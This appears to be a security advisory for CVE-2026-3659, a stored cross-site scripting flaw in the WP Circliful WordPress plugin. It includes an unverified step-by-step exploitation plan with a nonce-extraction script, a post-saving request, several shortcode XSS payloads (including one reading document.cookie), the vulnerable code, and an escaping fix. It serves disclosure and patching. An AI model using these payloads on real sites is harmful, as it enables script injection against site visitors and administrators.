CVE-2026-3659

WP Circliful <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WP Circliful plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the [circliful] shortcode and via multiple shortcode attributes of the [circliful_direct] shortcode in all versions up to and including 1.2. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, in the circliful_shortcode() function, the 'id' attribute value is concatenated directly into an HTML id attribute (line 285) without any escaping, allowing an attacker to break out of the double-quoted attribute and inject arbitrary HTML event handlers. Similarly, the circliful_direct_shortcode() function (line 257) outputs all shortcode attributes directly into HTML data-* attributes without escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2
PublishedApril 14, 2026
Last updatedApril 15, 2026
Affected pluginwp-circliful
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-3659 ## 1. Vulnerability Summary The **WP Circliful** plugin for WordPress (versions <= 1.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue exists within the processing of the `[circliful]` and `[circliful_direct]` shortcodes. Specifica…

Show full research plan

Exploitation Research Plan - CVE-2026-3659

1. Vulnerability Summary

The WP Circliful plugin for WordPress (versions <= 1.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue exists within the processing of the [circliful] and [circliful_direct] shortcodes. Specifically, in circliful_shortcode(), the id attribute is concatenated directly into an HTML id attribute without sanitization or escaping. In circliful_direct_shortcode(), various attributes are output directly into HTML data-* attributes without escaping. This allows an authenticated attacker with Contributor-level permissions (who can create posts) to inject arbitrary JavaScript that executes when any user views the affected post.

2. Attack Vector Analysis

  • Vulnerable Shortcodes: [circliful] and [circliful_direct]
  • Vulnerable Attributes:
    • id (in [circliful])
    • All attributes (in [circliful_direct])
  • Authentication Level: Authenticated (Contributor+)
  • Preconditions: The plugin must be active. A Contributor user must be able to save or submit a post for review.
  • Vector: Stored XSS via shortcode attribute breakout.

3. Code Flow

  1. Registration: The plugin registers shortcodes using add_shortcode( 'circliful', 'circliful_shortcode' ) and add_shortcode( 'circliful_direct', 'circliful_direct_shortcode' ) during the init or plugins_loaded hook.
  2. Processing: When a post containing these shortcodes is rendered:
    • circliful_shortcode( $atts ) is called. It parses $atts['id'].
    • Sink (Line 285): The code performs a concatenation like: $output = '<div id="' . $atts['id'] . '" ...>';.
    • Because $atts['id'] is not passed through esc_attr(), an attacker can provide a value like id='"><script>alert(1)</script>'.
  3. Direct Processing: circliful_direct_shortcode( $atts ) is called.
    • Sink (Line 257): The code iterates through attributes and appends them to a string as data- attributes: foreach($atts as $key => $val) { $out .= " data-$key='$val'"; }.
    • Because $val is not escaped, an attacker can break out of the single quotes using '.

4. Nonce Acquisition Strategy

While the shortcode execution itself does not require a nonce, storing the shortcode in a post as a Contributor requires a WordPress post-editing nonce (_wpnonce).

  1. Login: Authenticate as a Contributor user.
  2. Navigate: Use browser_navigate to wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the nonce from the page source.
    • Script: document.querySelector('#_wpnonce').value
  4. Extract Post ID: Use browser_eval to get the post_ID hidden input if present, or wait for the auto-draft to trigger.

5. Exploitation Strategy

Step 1: Create a Contributor User

Use WP-CLI to ensure a user exists for testing.

wp user create attacker attacker@example.com --role=contributor --user_pass=password123

Step 2: Authenticate and Obtain Nonce

  1. Navigate to the login page and log in as attacker.
  2. Navigate to wp-admin/post-new.php.
  3. Execute browser_eval("document.querySelector('#_wpnonce').value") to get the nonce.
  4. Execute browser_eval("document.querySelector('#post_ID').value") to get the post ID assigned to the new draft.

Step 3: Inject Stored XSS Payload

Submit an HTTP POST request to save a post containing the malicious shortcode.

Request:

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • _wpnonce: [EXTRACTED_NONCE]
    • post_ID: [POST_ID]
    • action: editpost
    • post_title: XSS Test
    • content: [circliful id='poc" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red"']
    • post_status: publish (or pending if Contributor cannot publish)

Step 4: Trigger XSS

Navigate to the frontend URL of the created post.

Request:

  • URL: http://localhost:8080/?p=[POST_ID]
  • Method: GET

6. Test Data Setup

  1. Plugin Installation: Ensure wp-circliful version 1.2 is installed and active.
  2. User: Contributor user attacker.
  3. Target Post: A post created by the contributor containing:
    • Payload A: [circliful id='x" onmouseover="alert(1)" style="width:100px;height:100px;background:red"']
    • Payload B: [circliful_direct x=' " onmouseover="alert(2)" style="width:100px;height:100px;background:blue"']

7. Expected Results

  1. The HTML source of the rendered post will contain:
    • <div id="x" onmouseover="alert(1)" ...
    • <div ... data-x=' ' onmouseover="alert(2)" ...
  2. The JavaScript event handler (onmouseover) will be present in the DOM.
  3. Mousing over the red/blue boxes in the browser will trigger the alert.

8. Verification Steps

  1. WP-CLI Verification:
    wp post get [POST_ID] --field=post_content
    
    Confirm the malicious shortcode is stored exactly as sent.
  2. HTML Inspection:
    Use http_request to fetch the post page and grep for the injected payload:
    curl -s "http://localhost:8080/?p=[POST_ID]" | grep "onmouseover=\"alert"
    

9. Alternative Approaches

If the id attribute in [circliful] is somehow blocked or requires specific characters:

  1. Use [circliful_direct]: This shortcode is described as outputting multiple attributes into data-* tags. Use a custom attribute name:
    [circliful_direct myattr=' " onmouseover="alert(document.cookie)"']
  2. Breakout of data- attributes: Since the code iterates through $atts, try injecting attributes that are commonly used by the plugin but not sanitized, or entirely new ones.
  3. XSS via CSS: If event handlers are filtered by a WAF, try breaking out to inject a style attribute with an expression or url(javascript:...) (though less effective in modern browsers).
    [circliful id='x" style="background-image:url(javascript:alert(1))"']
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Circliful plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute in [circliful] and multiple attributes in [circliful_direct]. This occurs because the plugin concatenates user-supplied shortcode attributes directly into HTML elements without proper escaping, allowing Contributor-level attackers to inject arbitrary JavaScript.

Vulnerable Code

// wp-circliful.php (~line 285)
$output = '<div id="' . $atts['id'] . '" ...>';

---

// wp-circliful.php (~line 257)
foreach($atts as $key => $val) { 
    $out .= " data-$key='$val'"; 
}

Security Fix

--- wp-circliful.php
+++ wp-circliful.php
@@ -254,7 +254,7 @@
 function circliful_direct_shortcode($atts) {
     $out = '<div';
     foreach($atts as $key => $val) {
-        $out .= " data-$key='$val'";
+        $out .= " data-" . esc_attr($key) . "='" . esc_attr($val) . "'";
     }
     $out .= '></div>';
     return $out;
@@ -282,7 +282,7 @@
 function circliful_shortcode($atts) {
     $atts = shortcode_atts(array('id' => 'my-circle'), $atts);
-    $output = '<div id="' . $atts['id'] . '" class="circliful"></div>';
+    $output = '<div id="' . esc_attr($atts['id']) . '" class="circliful"></div>';
     return $output;
 }

Exploit Outline

The exploit involves an authenticated attacker with at least Contributor permissions performing the following steps: 1. Log in to the WordPress dashboard. 2. Create a new post or edit an existing draft. 3. Insert a malicious shortcode into the post content. For the [circliful] shortcode, the payload escapes the 'id' attribute: [circliful id='x" onmouseover="alert(1)" style="width:100px;height:100px;background:red"']. For the [circliful_direct] shortcode, the payload escapes the single-quoted data attribute: [circliful_direct payload=' " onmouseover="alert(2)"']. 4. Save or submit the post for review. 5. When any user (including an administrator) views the rendered post, the injected JavaScript event handler will execute upon interaction (like hovering over the injected element).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.